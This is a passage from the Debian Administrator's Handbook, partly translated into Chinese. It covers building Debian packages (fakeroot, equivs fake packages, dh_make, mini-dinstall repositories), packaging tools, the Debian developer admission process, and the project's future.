The previous command can fail if the Build-Depends field has not been updated, or if the related packages are not installed. In such a case, it is possible to overrule this check by passing the -d option to dpkg-buildpackage. However, explicitly ignoring these dependencies runs the risk of the build process failing at a later stage. Worse, the package may seem to build correctly but fail to run properly: some programs automatically disable some of their features when a required library is not available at build time. The switch can still be very useful if you only want to create a source package, which is supposed to be passed to clean build environments as described in QUICK LOOK Building packages in chrooted and virtual environments.

The other options used in the above example make sure that neither the source package's .dsc (-us) nor the produced .changes file (-uc) get signed with the package builder's cryptographic key after the asuccessful build.

工具fakeroot

本质上，软件包的创建过程是将一组现有（或构建）的文件汇集在一个档案中的简单事情；其中的多数文件将在档案中最终由root 所有。然而，在这个用户下构建整个软件包将暗含着增加的风险；幸运的是，这可以通过 fakeroot 命令来避免。这个工具可以用于运行程序，并给它作为 root 运行并以任意的所有者和权限来创建文件的印象。当程序创建将变为 Debian 软件包的档案时，它欺骗来创建档案，档案包含了标记为属于任意用户的文件，这些用户也包括root 。这个设置非常方便，以至 dpkg-buildpackage 构建软件包时默认使用 fakeroot。

注意，程序只是被欺骗“相信”它作为有特权的账户来操作，并且作为运行 fakeroot program的用户来真正运行进程（而文件以用户的权限真实创建）。它从来也不会真正获得可能被滥用的根特权。

More often than not, Debian developers use a higher-level program such as debuild; this runs dpkg-buildpackage as usual, but it also adds an invocation of a program that runs many checks to validate the generated package against the Debian policy. This script also cleans up the environment so that local environment variables do not “pollute” the package build. The debuild command is one of the tools in the devscripts suite, which share some consistency and configuration to make the maintainers' task easier.

QUICK LOOK Building packages in chrooted and virtual environments

Building a package on an existing system, like a workstation or server, can pose several problems. Maybe the system has packages installed, that conflict with the build requirements. Or maybe it has packages (libraries, headers, etc.) installed, that the project to build is not supposed to use - e.g. from Testing, Unstable, or even from third parties. Also it might have packages installed, which are actually required for the build, but are not listed in debian/control. It is therefore a good practice to build a packages in “clean“ environments.

The sbuild, pbuilder, or cowbuilder programs (in the similarly named packages) allow building a Debian package in a chrooted environment. Each of them first creates a temporary directory containing the minimal system required for building the package (including the packages mentioned in the Build-Depends field). This directory is then used as the root directory (/), using the chroot command, during the build process.

These tools allow the build process to happen in an environment that is not altered by users' manipulations. This also allows for quick detection of the missing build-dependencies (since the build will fail unless the appropriate dependencies are documented). Finally, it allows building a package for a Debian version that is not the one used by the system as a whole: the machine can be using Stable for its normal workload, and the chrooted environments can be running on the same machine using Unstable for package builds. Using these tools, it is also possible to build for a different distribution, like Ubuntu.

schroot, sbuild-shell, or pbuilder allow running a command or a login shell in a chrooted environment.

Sometimes it is not enough to build a package in a chrooted environment. This can be due to building for a different architecture where cross-compilation does not work, or due to the tools not being able to create a chrooted environment for the desired target system. Then one can create virtual machines to build the package there. These setups are usually more complex then the tools mentioned above, and rarely needed, so we will only mention this possibility without going into much detail. Check out 第 12.2 节 “虚拟化” for an introduction into this topic.

15.2. 构建您的第一个软件包

15.2.1. 元软件包或伪装软件包

伪装软件包和元包是相似的，相似点在于它们是空壳，它们只通过其软件包处理栈上的元数据来影响软件包。

假软件包的目的是欺骗 dpkg 和 apt，让它们相信一些软件包已经安装，即使只是个空壳。这允许当对应的软件安装在打包系统的范围之外时满足对软件包的依赖。这样的方法有效，但仍应该尽可能地避免，因为不能保证手动安装的软件包完全像对应的软件包那样工作，并且依赖它的其它软件包会不能正常地工作。

另一方面，元包主要作为一组依赖而存在，从而安装元包将真正一步带进一组其它软件包。

这两种软件包都可以通过 equivs-control 和 equivs-build 命令（在软件包 equivs 中）来创建。equivs-control file 命令创建了 Debian 软件包头文件，应该编辑它来包含所需要的软件包的名称、其版本号、维护者姓名、其依赖及其描述。没有默认值的其它字段是可选的，并且可以被删除。Copyright（版权）、Changelog（更改日志）、Readme（自述文件） 和 Extra-Files（补充的文件） 字段在 Debian 软件包中不是标准字段；它们只在 equivs-build 的范围内是有意义，并且它们不会被保留在生成的软件包的标头中。

例 15.2. libxml-libxml-perl 伪装软件包的头文件

Section: perl

Priority: optional

Standards-Version: 4.5.1

Package: libxml-libxml-perl

Version: 2.0207-1

Maintainer: Raphael Hertzog <hertzog@debian.org>

Depends: libxml2 (>= 2.9.10)

Architecture: all

Description: Fake package - module manually installed in site_perl

This is a fake package to let the packaging system

believe that this Debian package is installed.

.

In fact, the package is not installed since a newer version

of the module has been manually compiled &amp; installed in the

site_perl directory.

下一步是用 equivs-build file 命令生成 Debian 软件包。看：软件包创建在当前目录中，并且可以像任何其它 Debian 软件包那样处理它。

$ equivs-build file

equivs-build control

dpkg-buildpackage: info: source package libxml-libxml-perl

dpkg-buildpackage: info: source version 2.0207-1

dpkg-buildpackage: info: source distribution unstable

dpkg-buildpackage: info: source changed by Raphael Hertzog <hertzog@debian.org>

dpkg-buildpackage: info: host architecture amd64

dpkg-source --before-build .

debian/rules clean

dh clean

dh_clean

debian/rules binary

dh binary

dh_update_autotools_config

dh_autoreconf

create-stamp debian/debhelper-build-stamp

dh_prep

dh_install

dh_installdocs

dh_installchangelogs

dh_perl

dh_link

dh_strip_nondeterminism

dh_compress

dh_fixperms

dh_missing

dh_installdeb

dh_gencontrol

dh_md5sums

dh_builddeb

dpkg-deb: building package 'libxml-libxml-perl' in '../libxml-libxml-perl_2.0207-1_all.deb'.

dpkg-genbuildinfo --build=binary

dpkg-genchanges --build=binary >../libxml-libxml-perl_2.0207-1_amd64.changes

dpkg-genchanges: info: binary-only upload (no source code included)

dpkg-source --after-build .

dpkg-buildpackage: info: binary-only upload (no source included)

The package has been created.

Attention, the package has been created in the current directory,

not in ".." as indicated by the messaige above!

15.2.2. 简单文件档案

Falcot 公司的管理员需要创建 Debian 软件包，从而容易在大量机器上布设一组文档。负责这项任务的管理员首先阅读“New Maintainer's Guide”（新维护者指南），然后开始处理他们的第一个软件包。

→ https://www.debian.org/doc/manuals/maint-guide/

第一步是创建 falcot-data-1.0 目录来包含目标源码包。软件包在本地命名为 falcot-data 并带有版本号 1.0。然后管理员将文档放置在 data 子目录中。然后调用 dh_make 命令（来自 dh-make 软件包），来添加软件包生成过程所需的文件，它们将被存储在 debian 子目录中：

$ cd falcot-data-1.0

$ dh_make --native

Type of package: (single, indep, library, python)

[s/i/l/p]? i

Maintainer Name     : Raphael Hertzog

Email-Address       : hertzog@debian.org

Date                : Sat, 26 Feb 2021 13:02:06 +0100

Package Name        : falcot-data

Version             : 1.0

License             : gpl3

Package Type        : indep

Are the details correct? [Y/n/q]

Currently there is not top level Makefile. This may require additional tuning

Done. Please edit the files in the debian/ subdirectory now.

$

The selected type of package (indep) indicates that this source package will generate a single binary package that can be shared across all architectures (Architecture: all in debian/control). single acts as a counterpart, and leads to a single binary package that is dependent on the target architecture (Architecture: any). In this case, the former choice is more relevant since the package only contains documents and no binary programs, so it can be used similarly on computers of all architectures.

library 的类型与产生几个二进制包的源码包对应。它对共享库有用，因为它们需要遵守严格的打包规则。

技巧 维护者的名称与电子邮箱地址

软件包的维护所包括的多数程序会在 DEBFULLNAME 与 DEBEMAIL 中或 EMAIL 环境变量中查找您的姓名和电子邮件地址。为所有定义它们一次将避免将其多次键入。如果您通常的 shell 是 bash 的话，那么这是在您的 ~/.bashrc 文件中添加后面两行的简单事情（明显您会用更相关的值来替换！）：

export EMAIL="hertzog@debian.org"

export DEBFULLNAME="Raphael Hertzog"

The dh_make command created a debian subdirectory with many files. Some are required, in particular rules, control, changelog and copyright. Files with the .ex extension are example files that can be used by modifying them (and removing the extension) when appropriate. When they are not needed, removing them is recommended. The compat file is not used nor created anymore. Instead of defining the debhelper compatibility level as a number in this file, it is now defined as a build-dependency on the debhelper-compat virtual package in the Build-Depends file in debian/control.

The copyright file must contain information about the authors of the documents included in the package, and the related copyright and license. In our case, these are internal documents and their use is restricted to within the Falcot Corp company. The default format used for this file is defined in the Format field.

→ https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/

The default changelog file is generally appropriate; replacing the “Initial release” with a more verbose explanation and changing the distribution from UNRELEASED or unstable to the target release name is enough.

The control file must also be updated: the Section field can be changed to misc and the Homepage, Vcs-Git and Vcs-Browser fields were removed. The Depends fields was completed with firefox-esr | www-browser so as to ensure the availability of a web browser able to display the documents in the package. If the package does not require to run any commands as root (see 工具fakeroot), the Rules-Requires-Root field can be left as is.

例 15.3. control 文件

Source: falcot-data

Section: misc

Priority: optional

Maintainer: Raphael Hertzog <hertzog@debian.org>

Build-Depends: debhelper-compat (= 13)

Standards-Version: 4.5.1

Rules-Requires-Root: no

Package: falcot-data

Architecture: all

Depends: firefox-esr | www-browser, ${misc:Depends}

Description: Internal Falcot Corp Documentation

This package provides several documents describing the internal

structure at Falcot Corp.  This includes:

- organization diagram

- contacts for each department.

.

These documents MUST NOT leave the company.

Their use is INTERNAL ONLY.

例 15.4. changelog 文件

falcot-data (1.0) bullseye; urgency=low

* Initial Release.

* Let's start with few documents:

- internal company structure;

- contacts for each department.

-- Raphael Hertzog <hertzog@debian.org>  Sat, 26 Feb 2022 15:12:06 +0100

例 15.5. copyright 文件

Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/

Upstream-Name: falcot-data

Files: *

Copyright: 2004-2021 Falcot Corp

License:

All rights reserved.

基本知识 Makefile文件

Makefile 文件是 make 程序使用的脚本；它描述了如何构建一组彼此树形依赖的文件（例如，程序可以从一组源码文件构建）。Makefile 文件以后面的格式描述了这些规则：

target: source1 source2 ...

command1

command2

The basic interpretation of such a rule is as follows: if one of the source* files is more recent than the target file, then the target needs to be generated, using command1 and command2.

注意，命令行必须以制表符开始；还要注意当命令行以短破折号（-）开始时，失败的命令不会中断整个过程。

rules 文件通常包含一组用于在专用子目录（以生成的二级制软件包来命令）来配置、构建和安装软件的规则。然后这个子目录的内容在 Debian 软件包内存档，如同这个子目录是文件系统的根。在我们的情况下，文件将安装在 debian/falcot-data/usr/share/falcot-data/ 子目录中，从而安装生成的软件包将在 /usr/share/falcot-data/下部署文件。rules 文件用作 Makefile，带有一些标准的目标（包括 clean 和 binary，分别用来清理源目录和生成的二进制软件包）。

尽管这个文件是整个过程的中心，它仍然只逐渐包含了运行 debhelper 工具提供的标准组命令的最低限。这是由 dh_make 生成文件的情况。为了安装我们的文件，我们通过创建后面的 debian/falcot-data.install 文件，来简单地配置 dh_install 命令的行为：

data/* usr/share/falcot-data/

这时可以创建软件包。然而，我们将加点涂料。由于管理员想要文档从图形化桌面环境的菜单中容易地访问，我们添加了 falcot-data.desktop 文件，并通过在 debian/falcot-data.install 中添加第二行，而将它安装在 /usr/share/applications 中。

例 15.6. falcot-data.desktop文件

[Desktop Entry]

Name=Internal Falcot Corp Documentation

Comment=Starts a browser to read the documentation

Exec=x-www-browser /usr/share/falcot-data/index.html

Terminal=false

Type=Application

Categories=Documentation;

已更新的 debian/falcot-data.install 看起来像这样：

data/* usr/share/falcot-data/

falcot-data.desktop usr/share/applications/

我们的源码包现在已经准备好了。所有剩下要做的，是通过我们之前用来重新构建软件包的相同方法来生成二进制软件包：我们从 falcot-data-1.0 目录内运行 dpkg-buildpackage -us -uc 命令。

15.3. 创建用于 APT 的软件包仓库

Falcot Corp 公司逐渐开始维护大量的 Debian 软件包，或者是本地从现有软件包修改的，或者从头创建来发布内部数据和程序。

为了更容易部署，他们想要将这些软件包集成在能够由 APT 直接使用的软件包档案中。明显为了维护的原因，他们希望将内部软件包从本地重建的软件包中分出来。目标是使 /etc/apt/sources.list.d/falcot.list 文件中的匹配入口如后面这样：

deb http://packages.falcot.com/ updates/

deb http://packages.falcot.com/ internal/

这样管理员在他们的内部 HTTP 服务器上配置虚拟主机，以 /srv/vhosts/packages/ 作为相关 web 空间的根。档案本身的管理委托给 mini-dinstall 命令（在相似命名的软件包中）。这个工具照看 incoming/ 目录（在我们的情况下是 /srv/vhosts/packages/mini-dinstall/incoming/），并在那里等待新的软件包；软件包当上传时，就安装在 /srv/vhosts/packages/ 的 Debian 档案中。mini-dinstall 命令读取 Debian 软件包生成时创建的 *.changes 文件。这些文件包含与软件包的版本相关的所有其它文件的列表（*.deb、*.dsc、*.diff.gz/*.debian.tar.gz、*.orig.tar.gz，或使用其它压缩工具生成的它们的相应文件），并且这些允许 mini-dinstall 知道安装哪些文件。*.changes 文件还包含目标发布版本（通常是 unstable）的名称，这些目标发布版本在最新的 debian/changelog 入口被提到，并且 mini-dinstall 使用这个信息来确定软件包应该安装在哪里。这就是为什么管理员在构建软件包前必须总是更改这个字段，并依赖于目标位置，将它设置为 internal 或 updates。然后 mini-dinstall 生成 APT 所需的文件，如 Packages.gz。

ALTERNATIVE apt-ftparchive, aptly, and reprepro

如果 mini-dinstall 对您的 Debian 档案需求看起来太复杂，那么还可以使用 apt-ftparchive 命令。这个工具扫描目录的内容，并（在其标准输出上）显示匹配的 Packages 文件。在 Falcot Corp 公司的情况下，管理员应该将软件包直接上传到 /srv/vhosts/packages/updates/ 或 /srv/vhosts/packages/internal/，然后运行后面的命令来创建 Packages.gz 文件：

$ cd /srv/vhosts/packages

$ apt-ftparchive packages updates >updates/Packages

$ gzip updates/Packages

$ apt-ftparchive packages internal >internal/Packages

$ gzip internal/Packages

apt-ftparchive sources 命令允许以相似的方式创建 Sources.gz 文件。

reprepro and aptly are more advanced tools for the same purpose. They can produce, manage and synchronize a number of package repositories, mirror other repositories, even cherry-pick packages from official repositories and provide them locally, create signatures of the generated package indices and thus provide signed repositories. reprepro stores packages and checksums in a Berkeley DB database file, so no database server is needed. aptly provides the same functionality, but it can be easier in handling. Unfortunately, both projects, although probably the most feature-rich solutions, are not actively developed at the moment.

reprepro comes with a lot of documentation and examples in /usr/share/doc/reprepro/, while aptly has a vast online documentation.

→ https://www.aptly.info/

配置 mini-dinstall 需要设置 ~/.mini-dinstall.conf 文件；在 Falcot Corp 公司的情况下，内容如下：

[DEFAULT]

archive_style = flat

archivedir = /srv/vhosts/packages

verify_sigs = 0

mail_to = admin@falcot.com

generate_release = 1

release_origin = Falcot Corp

release_codename = stable

[updates]

release_label = Recompiled Debian Packages

[internal]

release_label = Internal Packages

值得注意的一个决定是为每个档案生成 Release 文件。这可以使用 /etc/apt/preferences 配置文件来帮助管理软件包安装的优先性（细节请参见 第 6.2.5 节 “软件包优先级管理” ）。

安全 mini-dinstall 与权限

由于 mini-dinstall 设计来作为常规用户运行，因此不需要作为根来运行它。最简单的方式是，在属于负责创建 Debian 软件包的管理员的用户账户内，配置所有内容。由于只有这位管理员具有所需的权限将文件放置在 incoming/ 目录中，我们可以推断，管理员在部署前认证每个软件包的来源，而 mini-dinstall 不需要再做一次。这解释了 verify_sigs = 0 参数（它意味着不需要核实签名）。然而，如果软件包的内容是敏感的，那么我们可以相反地设置，并通过包含允许公钥的钥匙环来允许创建软件包，这个公钥属于创建软件包的人员（以 extra_keyrings 参数来配置）；mini-dinstall 然后通过分析集成到 *.changes 文件中的签名，来检查每个到来的软件包的来源。

调用 mini-dinstall 实际上在后端启动了守护程序。只要这个守护程序运行，它就将每半个小时检查一次 incoming/ 目录中的新软件包；新软件包当到达时，将被移动到档案中，并生成适当的 Packages.gz 和 Sources.gz 文件。如果运行守护程序是个问题，那么软件包每次上传到 incoming/ 目录中时， mini-dinstall 也能够以批处理模式手动调用（通过 -b 选项）。由 mini-dinstall 提供的其它可能性归档在其 mini-dinstall(1) 手册页面中。

补充 生成签名的档案

APT 套件在安装它处理的软件包之前，检查它们的加密签名链，从而确保它们的真实性（请参见 第 6.6 节 “检查软件包真实性”）。然后私有 APT 档案会有问题，因为使用它们的机器会一直显示未签名软件包的警告。这样勤奋的管理员将私有档案集成带有安全 APT 机制。

为了帮助这个过程，mini-dinstall 包括 release_signscript 配置选项，允许指定脚本来产生签名。好的起点是 sign-release.sh 脚本，由 /usr/share/doc/mini-dinstall/examples/ 中的 mini-dinstall 软件包来提供； 本地更改会是相关的。

15.4. 成为软件包的维护者

15.4.1. 学习制作软件包

Creating a quality Debian package is not always a simple task, and becoming a package maintainer takes some learning, both with theory and practice in technical and legal matters. It is not a simple matter of building and installing software; rather, the bulk of the complexity comes from understanding the problems and conflicts, and more generally the interactions, with the myriad of other packages available.

15.4.1.1. 规则

Debian 软件包必须遵守 Debian 政策中编译的精确规则，并且每位软件包维护者必须知道这些规则。并不要求把它们记在心理，而无论何时选项中出现了不那么琐碎的替代方案，都要知道它们存在并去查阅它们。每位 Debian 维护者都会因为不知道规则而犯错误，但只要当用户将其作为故障报告而汇报时错误能得到修复（这由于高级用户而趋于迅速发生），这就不是个大问题。debian/control 中的 Standards-Version 字段指示了软件包所遵守的 Debian 政策的版本。维护者应该遵守最新版本的 Debian 政策。

→ https://www.debian.org/doc/debian-policy/

15.4.1.2. 过程

Debian 不是独立软件包的简单集合。每个人的打包工作都是集体项目的一部分；成为 Debian 开发者包括了解 Debian 项目作为整体如何运作。每位开发者迟早都会与他人互动。Debian 开发者参考（在 developers-reference 软件包中）总结了每位开发者都必须知道的内容，从而尽可能平滑地在项目中与各个团队互动，并尽获得可用资源尽可能多的优点。本文档还列举了一些开发者必须尽到的责任。

→ https://www.debian.org/doc/manuals/developers-reference/

15.4.1.3. 工具

很多工具帮助软件包的维护人员进行他们的工作。这一节快速地描述了这些工具，但没有给出完整细节，因为它们各自都有详细的文档。

15.4.1.3.1. devscripts

devscripts 软件包包含很多程序来帮助大范围的 Debian 开发者的工作：

- debuild 允许（以 dpkg-buildpackage）来生成软件包，此后允许运行lintian 来检查它与 Debian 政策的兼容性。

- debclean 在生成二进制包后清除源码包。

- dch 允许快速且容易地编辑源码包中的 debian/changelog 文件。

- uscan 检查新版本的软件是否已经由上游作者发布；这需要 debian/watch 文件具有这个发布位置的描述。

- debi 允许（以 dpkg -i）来安装刚生成的 Debian 软件包，而无需键入其完整名称与路径。

- debc 允许以相似的方式（用 dpkg -c）来扫描最近生成的软件包，而无需键入其完整名称与路径。

- bts controls the bug tracking system from the command line; this program automatically generates the appropriate emails.
→ https://www.debian.org/Bugs/server-refcard

- debrelease 将最近生成的软件包上传到远端的服务器，而无需键入相关的 .changes 文件的完整名称与路径。

- debsign 签署 *.dsc 和 *.changes 文件。

- 当上游版本发布时，uupdate 自动创建新版本的软件包。

All of the mentioned commands are documented in their respective manual pages. They can further be configured per user in one file: ~/.devscripts.

15.4.1.3.2. debhelper 和 dh-make

Debhelper is a set of scripts easing the creation of policy-compliant packages; these scripts are invoked from debian/rules. Debhelper has been widely adopted within Debian, as evidenced by the fact that it is used by the majority of official Debian packages. All the commands it contains have a dh_ prefix. Each of them is documented in a manual page. The different compatibility levels and common options are described in debhelper(7).

dh_make 脚本（位于 dh-make 软件包中）创建文件，在初始包含一块软件的源代码的目录中生成 Debian 软件包需要这些创建文件。可以从程序的名称猜到，生成的文件默认使用 debhelper。

15.4.1.3.3. lintian

这是最重要的工具之一：它是 Debian 软件包检查程序。它基于从 Debian 政策创立的大量测试，并快速且自动地检测很多错误，然后可以在软件包发布前修复。

这个工具只是个帮手，它有时会犯错误（例如，由于 Debian 政策不时更改，lintian 有时会过时）。它有时还不够详细：没有得到任何 Lintian 错误不应该被理解成软件包被证明是完美的；最多不过是避免了最常见的错误。

15.4.1.3.4. piuparts

这是另一个重要工具：它（在隔离的环境中）自动安装、升级、删除并净化软件包，并且检查这些操作不会导致错误。它可以帮助检查丢失的依赖，并且还可以检查在软件包净化后文件在什么时候不正确地留下来。

15.4.1.3.5. autopkgtest

autopkgtest runs tests on binary packages, using the tests supplied in the source package in debian/tests/. Several commands allow the easy creation of chrooted or virtual test environments.

15.4.1.3.6. reprotest

reprotest 在不同的环境中两次构建相同的源代码，然后检查每次构建的二进制文件的差异。如果发现任何差异，那么 diffoscope（如果可用的话则用 diff）来具体显示它们供后面进行分析。

15.4.1.3.7. dupload 和 dput

The dupload and dput commands allow uploading a Debian package to a (possibly remote) server. This allows developers to publish their package on the main Debian server (ftp-master.debian.org) so that it can be integrated to the archive and distributed by mirrors. These commands take a .changes file as a parameter, and deduce the other relevant files from its contents.

15.4.1.3.8. git-buildpackage and dgit

The project has been using various version control systems over the years to store packaging efforts or package source code, or allow collaborative package maintenance. In an effort to unify the systems and efforts, it was ultimately decided in 2017 to move (almost) all package sources into Git (文化 Git) onto a Gitlab instance called salsa.debian.org.

→ https://salsa.debian.org/

To make packaging using Git easier for Debian developers, tools have been developed. These allow not only to store the packaging files in Git, but also to use the Git repositories (and their history) of software projects, put patches applied to package sources into Git history, maintain software versions per distribution, etc.

One of the most famous packages is git-buildpackage. An alternative is dgit. Of course it is still possible to use neither of those.

Below is an example for a ~/.gbp.conf configuration file

[DEFAULT]

builder = sbuild -d bullseye --build-dep-resolver=aptitude -s --source-only-changes --build-failed-commands "%SBUILD_SHELL"

pristine-tar = true

[buildpackage]

sign-tags = true

keyid = XXXX

postbuild  = autopkgtest --user debci --apt-upgrade -s "$GBP_CHANGES_FILE" -- lxc --sudo autopkgtest-bullseye-amd64

export-dir = /tmp/build-area/

notify = off

[import-orig]

filter-pristine-tar = true

sign-tags = true

[pq]

drop = true

Building the package is then as easy as running gbp buildpackage in the Git tree. It will start a package build in a Debian Bullseye chroot using sbuild. When the build succeeds, the created files are checked running the autopkgtest-testsuite (if defined). All the various options are explained in gbp.conf(5) and /etc/git-buildpackage/gbp.conf.

All the tools mentioned so far have been included in the continuous integration (CI) process in the salsa.debian.org instance as well:

→ https://salsa.debian.org/salsa-ci-team/pipeline

15.4.2. 接受过程

称为 “Debian 开发者”不是个简单的管理性事情。这个过程包含几个步骤，从开始就更是一个选择过程。在任何情况下，这个过程形成并良好地归档，因此任何人都可以在专供新的成员处理的网站上跟踪其进展。

→ https://nm.debian.org/

补充 “Debian 维护者”的瘦身过程

“Debian 维护者”是另一种状态，比“Debian 开发者”给出更少特权，但他们的相关过程更迅速。通过这个状态，贡献者只可以维护其自己的软件包。Debian 开发者只需要在初始上传时执行检查，并对后果发布声明，他们信任那些自己有能力维护软件包的潜在维护者。

15.4.2.1. 先决条件

希望所有的志愿者都至少具有英语的工作知识。在所有层面都对此有要求：用于与检查者的初始沟通，当然同样也用于后面的进一步沟通，因为英语是多数文档的首选语言；同样，软件包的用户当汇报缺陷时也用英语沟通，并且他们希望以英语回复。

其它先决条件涉及动机。成为 Debian 开发者是个过程，如果志愿者知道他们对 Debian 的兴趣会持续很长时间时才有意义。接受过程本身会持续几个月，而 Debian 需要开发者进行长时间费时费力的工作；每个软件包需要永久维护，而不只是初始的上传。

15.4.2.2. 注册

第一个（真实的）步骤包括找到赞助者或拥护者；这意味着官方开发者愿意声明，他们相信接受某个项目对于 Debian 是件好事。这通常意味着志愿者在社区内已经是活跃的，并且他们的工作已经受到欢迎。如果志愿者太羞涩并且他们的工作没有公开宣传，他们可以尝试以私下的方式展示他们的工作，来说服 Debian 开发者支持他们。

同时，志愿者必须以 GnuPG 来生成 RSA 公钥/私钥对，这必须由至少两名官方 Debian 开发者签署。签名验证了密钥上的名称。在密钥签发组中，每位参加者必须有效地将官方身份（通常是身份证或护照）与他们的密钥识别符一起展示。这一步确认了真人与密钥之间的联系。这样，这个签名需要真实生活中的会面。如果还没有在公开的自由软件会议中遇到任何 Debian 开发者，那么必须使用后面的网页上的列表作为起点，来明确地寻找生活在附近的开发者。

→ https://wiki.debian.org/Keysigning

一旦 nm.debian.org 上的注册被拥护者验证，那么 Application Manager（申请管理者） 就被指定给志愿者。然后申请管理者通过多个预定的步骤和检查来驱动这个过程。

第一项验证是身份检查。如果已经有两名 Debian 开发者签发的密钥，那么这步很容易；否则，申请管理者将通过组织会见和密钥签发来尝试并引导您搜索附近的 Debian 开发者。

15.4.2.3. 接受的原则

这些管理手续经过哲学性的思考而来。要点是确定志愿者理解并接受社会接触与自由软件背后的原则。只有分享了将当前的开发者团结在一起这个价值观，如在奠基文本中所表达的（并且在 第 1 章 Debian 项目 中总结），加入 Debian 才是可能的。

此外，希望每位想要加入 Debian 序列的志愿者都知道项目的工作，以及如何适当地互动，来解决随着时间的前进他们将无疑会遇到的问题。所有这些信息都存档在针对新维护者的手册中，以及在 Debian 开发者的参考手册中。仔细阅读这个文档应该足以回答检查者的问题。如果回答不够令人满意，那么将会通知志愿者。然后他们在尝试前必须（再次）阅读相关文档。在现有的文档没有包含问题的适当答案的情况下，志愿者通常可以通过 Debian 内的实践经验，或者可能潜在地通过与其他 Debian 开发者讨论来找到答案。这个机制确保了志愿者在成为真正的成员前在某种程度上参与进去。这是个深思熟虑的政策，最终加入项目的志愿者通过它组成了无限扩展的拼图的一部分。

在新成员过程的术语中，这一步通常称为哲学 & 步骤（简写为 P&P）。

15.4.2.4. 技能检查

每一份成为官方 Debian 开发者的申请都必须被证明。成为项目成员需要显示这个状态是合法的，并且促进了志愿者的工作来帮助 Debian。最通常的证明是授予了 Debian 开发者的状态使 Debian 软件包的维护更容易了，但不只是这一点。一些开发者加入项目，为导出到特定架构做出了贡献，另一些人想要改进文档，以及诸如此类。

这一步代表了志愿者的机会来声明想要在 Debian 项目中做什么，以及显示他们向终点已经做了什么。Debian 是务实的项目，如果行动与所宣称的不陪陪，那么只是说些什么是不够的。通常，当项目中期望的角色与项目维护相关时，预期的软件包的第一版必须通过现有的 Debian 开发者中的赞助者在技术上验证，并且上传到 Debian 服务器上。

社区 赞助

Debian 开发者可以“赞助”其他人准备的软件包，这意味着在执行仔细的复核后，他们将软件包发布在官方 Debian 仓库中。这个机制允许还没有通过新成员过程的外部人员偶尔为项目做贡献。同时，它确保了 Debian 中包括的所有软件包总是由官方成员检查。

Finally, the examiner checks the candidate's technical (packaging) skills with a detailed questionnaire. Bad answers are not permitted, but the answer time is not limited. All the documentation is available and several attempts are allowed if the first answers are not satisfactory. This step does not intend to discriminate, but to ensure at least a modicum of knowledge common to new contributors.

这一步在检查者的行话中被称 任务 & 技巧 步骤（简写为 T&S）。

15.4.2.5. 最终确认

在最后一步，整个过程由 DAM （Debian Account Manager——Debian 账户管理者）复查。DAM 将复查检查者搜集的关于志愿者的所有信息，并决定是否在 Debian 服务器上创建账户。在需要补充信息的情况下，会推迟创建账户。 如果检查者在后面的过程中做了很好的工作的话，拒绝会很罕见，但有时也会发生。拒绝不是永久性的，志愿者后面可以任意尝试。

DAM 的决定是权威性的，并且（几乎）不得上诉，这解释了为什么上位者过去经常被批评。

第 16 章 结论：Debian的未来

用Falcot公司的故事结束最后一章；但是Debian还仍然会继续，并且它的未来肯定给我们带来很多有意思的惊喜。

16.1. 即将来临的新开发阶段

现在 Debian 11 已经发布了，开发者们也已经在为下一个代号为 Bookworm 的版本而忙碌了……

There is no official list of all planned changes, and Debian never makes promises relating to technical goals of the coming versions. However, a few development trends and discussion topics can already be noted, and we can try to guess what might happen (or not). Some of the expected changes are documented in the Debian 11 release notes:

→ https://www.debian.org/releases/bullseye/amd64/release-notes/ch-information.en.html#deprecated-components

Beyond usual deprecation of some software components, it is worth pointing out that Debian is in the process of switching to what is known as a merged-usr filesystem: in this scheme /bin, /sbin and /lib are symlinks pointing to the corresponding directories in /usr. This improves compatibility between all Unix systems, makes us closer of having all Debian-supplied files in a single top-level directory that can be easily protected, snapshotted or shared. You can learn more about the benefits here:

→ https://www.freedesktop.org/wiki/Software/systemd/TheCaseForTheUsrMerge/

This important change is not without creating issues: dpkg will have to learn about those aliased directories, but the dpkg maintainer doesn't like the technical solution deployed by Debian and hasn't yet made the required changes. The Debian technical committee's help has been requested multiple times already. Their last decision can be found here:

→ https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=994388#110

apt-key will become obsolete. The key management for third party repositories should only rely on keys found in /etc/apt/trusted.gpg.d or configured via Signed-By as described in 第 6.6 节 “检查软件包真实性”.

For some tasks the default software solution will change. As an example: plocate might be a faster and smaller replacement for mlocate. systemd will continue to add new features that help to standardize the boot process and system management, allowing us to get rid of some other software in the base system.

Of course all the main software suites will have a major release. The latest version of the various desktops will bring better usability and new features.

The default permission of home directories will be more restrictive, allowing only the user to access their files.

Developments which already began will continue: Improve build reproducibility and security for example. With the widespread use of continuous integration and the growth of the archive (and of the biggest packages!), the constraints on release architectures will be harder to meet and architectures will be dropped.

16.2. Debian的未来

除了这些内部的进展，得益于许多工具不断简化集成工作，我们也更有信心的预期未来更多新的基于 Debian 的发行版出现。新的专门子项目也将启动，以拓宽 Debian 的能力，使其触及新的领域。

Debian 的用户社区将会增长，新的贡献者也会加入到 Debian 项目中……或许，下一个，就是你！

There are recurring discussions about how the software ecosystem is evolving, towards applications shipped within containers, where Debian packages have no added value, or with language-specific package managers (e.g. pip for Python, npm for JavaScript, etc.), which are rendering dpkg and apt obsolete. Facing those threats, I am convinced that Debian developers will find ways to embrace those changes and to continue to provide value to users.

尽管 Debian 发展了很多年，规模也已可观，但是 Debian 依然在向各种方向发展（有时候也会向你意想不到的方向）。Debian 的贡献者们都很有想法，他们通过开发邮件列表来讨论，甚至他们看起来像是在吵架，但正是这些给 Debian 提供了持续的动力。Debian 有时候可以比作是一个黑洞，如此的有吸引力，以至于任何新的自由软件项目都可以吸纳进来。

Beyond the apparent satisfaction of most Debian users, a deep trend is becoming more and more indisputable: people (and companies!) are increasingly realizing that collaborating, rather than working alone in their corner, leads to better results for everyone. The number of commercial companies relying on Debian is larger every year.

Debian项目也因此没有受到过灭亡的威胁……

16.3. 这本书的未来

We would like this book to evolve in the spirit of free software. We therefore welcome contributions, remarks, suggestions, and criticism. Please direct them to Raphaël (<hertzog@debian.org>) or Roland (<lolando@debian.org>). For actionable feedback, feel free to open bug reports against the debian-handbook Debian package. The website will be used to gather all information relevant to its evolution, and you will find there information on how to contribute, in particular if you want to translate this book to make it available to an even larger public than today.

→ https://debian-handbook.info/

→ https://bugs.debian.org/src:debian-handbook

